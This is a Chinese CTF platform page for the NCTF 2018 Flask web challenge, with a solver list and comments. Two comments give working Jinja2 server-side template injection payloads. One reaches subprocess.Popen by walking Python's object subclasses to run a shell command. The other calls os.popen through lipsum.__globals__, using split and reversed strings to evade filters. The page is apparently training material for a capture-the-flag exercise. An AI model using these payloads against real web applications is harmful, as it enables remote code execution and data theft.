Flask PLUSWEB 未解决

分数: 0 金币: 0
所属赛事: NCTF 2018
题目作者: 未知
一  血: harry
一血奖励: 0金币
解  决: 54
提  示:
描  述:
yulige你又写bug了!
评论
minhaf 5月前

{{''["__ssalc__"[::-1]]["__esab__"[::-1]]["__sessalcbus__"[::-1]]()[223]('cat /Th1s_is__F1114g',shell=True,stdout=-1).communicate()[0].strip()}}

回复 0

希卡利 7月前

ssti模板注入,先试试{{7*7}},输出49就是有,再输入{{lipsum.__globals__['o''s']['pop''en']('ls /').read()}}就看到flag了

回复 0

2728462336 1年前

简单的SSTI模板注入

回复 0

WriteUp

image
sean

2 金币

评分(0)

暂无评分

解题动态

nuxe 攻破了该题 16天前
ljt1016 攻破了该题 1月前
nakanodarling 攻破了该题 1月前
3229722202 攻破了该题 1月前
kaiyafanfan123 攻破了该题 1月前
kingmaster123 攻破了该题 1月前
花舞Flower 攻破了该题 2月前
minhaf 攻破了该题 5月前
倦鸟叫了一整天 攻破了该题 5月前
tianna 攻破了该题 6月前
111lsg 攻破了该题 6月前
wcsndm 攻破了该题 6月前
coldplay99999 攻破了该题 6月前
dddflag 攻破了该题 7月前
希卡利 攻破了该题 7月前
littlebear4 攻破了该题 8月前
nu11 攻破了该题 8月前
我的天啊 攻破了该题 9月前
r1st 攻破了该题 9月前
yhcyhc 攻破了该题 9月前
问题反馈